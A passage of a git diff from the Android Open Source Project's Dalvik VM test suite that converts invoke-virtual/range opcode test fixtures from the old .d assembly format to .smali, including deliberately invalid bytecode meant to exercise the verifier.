+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public test(Ljava/lang/String;)V
+.registers 2
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       move-object v6, v5
+       invoke-virtual/range {v6..v7}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12;->test(Ljava/lang/String;)V
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.d
deleted file mode 100644
index fd6de25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_13.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.smali
new file mode 100644
index 0000000..3503514
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.d
deleted file mode 100644
index 32cd481..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.d
+++ /dev/null
@@ -1,57 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_14.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_14
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 7
-
-    const v1, 123
-    const v2, 659
-    
-    const v4, 300
-    const v5, 3
-    move-object v3, v6
-
-    invoke-virtual/range {v3..v5}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 100
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 659
-    if-ne v2, v4, Label0
-    
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.smali
new file mode 100644
index 0000000..07f314e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.smali
@@ -0,0 +1,57 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v4, 300
+    const v5, 3
+    move-object v3, v6
+
+    invoke-virtual/range {v3..v5}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.d
deleted file mode 100644
index d42643b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_15.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15/testN()V
-       return-void
-.end method
-
-.method public test()V
-.limit regs 1
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.smali
new file mode 100644
index 0000000..3f3d97a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15;->testN()V
+       return-void
+.end method
+
+.method public test()V
+.registers 1
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.d
deleted file mode 100644
index 5a71786..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.d
+++ /dev/null
@@ -1,26 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_16.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       invoke-virtual/range {v2}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.smali
new file mode 100644
index 0000000..a18538e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-virtual/range {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.d
deleted file mode 100644
index 173c6bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_17.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_17
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.smali
new file mode 100644
index 0000000..b183185
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.d
deleted file mode 100644
index cc11d06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_18.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
-.limit regs 5
-       invoke-virtual/range {v4}, dot/junit/opcodes/invoke_virtual_range/TestStubs/TestStub()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.smali
new file mode 100644
index 0000000..cdf94b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
+.registers 5
+       invoke-virtual/range {v4}, Ldot/junit/opcodes/invoke_virtual_range/TestStubs;->TestStub()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.d
deleted file mode 100644
index 704726b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_19.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_19
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       move-object v2, v3
-       const/4 v3, 1
-       invoke-virtual/range {v2..v3}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19/toInt(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.smali
new file mode 100644
index 0000000..59d6b53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_19.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       move-object v2, v3
+       const/4 v3, 1
+       invoke-virtual/range {v2..v3}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19;->toInt(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.d
deleted file mode 100644
index eac70b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.d
+++ /dev/null
@@ -1,77 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_2.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test(IIIIIIIIII)I
-.limit regs 11
-    const v0, 10
-    if-ne v0, v10, Label0
-    const v0, 9
-    if-ne v0, v9, Label0
-    const v0, 8
-    if-ne v0, v8, Label0
-    const v0, 7
-    if-ne v0, v7, Label0
-    const v0, 6
-    if-ne v0, v6, Label0
-    const v0, 5
-    if-ne v0, v5, Label0
-    const v0, 4
-    if-ne v0, v4, Label0
-    const v0, 3
-    if-ne v0, v3, Label0
-    const v0, 2
-    if-ne v0, v2, Label0
-    const v0, 1
-    if-ne v0, v1, Label0
-
-    const v0, 1
-    return v0
-Label0:
-    const v0, 0
-    return v0
-
-.end method
-
-.method public run()I
-.limit regs 16
-       move-object v0, v15
-         const v1, 1
-          const v2, 2
-          const v3, 3
-          const v4, 4
-          const v5, 5
-          const v6, 6
-          const v7, 7
-          const v8, 8
-          const v9, 9
-          const v10, 10
-
-       invoke-virtual/range {v0..v10}, dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_2/test(IIIIIIIIII)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.smali
new file mode 100644
index 0000000..a7f8d0c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2.smali
@@ -0,0 +1,77 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public test(IIIIIIIIII)I
+.registers 11
+    const v0, 10
+    if-ne v0, v10, :Label0
+    const v0, 9
+    if-ne v0, v9, :Label0
+    const v0, 8
+    if-ne v0, v8, :Label0
+    const v0, 7
+    if-ne v0, v7, :Label0
+    const v0, 6
+    if-ne v0, v6, :Label0
+    const v0, 5
+    if-ne v0, v5, :Label0
+    const v0, 4
+    if-ne v0, v4, :Label0
+    const v0, 3
+    if-ne v0, v3, :Label0
+    const v0, 2
+    if-ne v0, v2, :Label0
+    const v0, 1
+    if-ne v0, v1, :Label0
+
+    const v0, 1
+    return v0
+:Label0
+    const v0, 0
+    return v0
+
+.end method
+
+.method public run()I
+.registers 16
+       move-object v0, v15
+         const v1, 1
+          const v2, 2
+          const v3, 3
+          const v4, 4
+          const v5, 5
+          const v6, 6
+          const v7, 7
+          const v8, 8
+          const v9, 9
+          const v10, 10
+
+       invoke-virtual/range {v0..v10}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_2;->test(IIIIIIIIII)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.d
deleted file mode 100644
index ab7a4cd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_20.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
-.limit regs 5
-Label0:
-
-       invoke-virtual/range {v4}, dot/junit/opcodes/invoke_virtual_range/TestStubs/TestStubP()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.smali
new file mode 100644
index 0000000..d73686f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
+.registers 5
+:Label0
+
+       invoke-virtual/range {v4}, Ldot/junit/opcodes/invoke_virtual_range/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.d
deleted file mode 100644
index 6f6fad5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
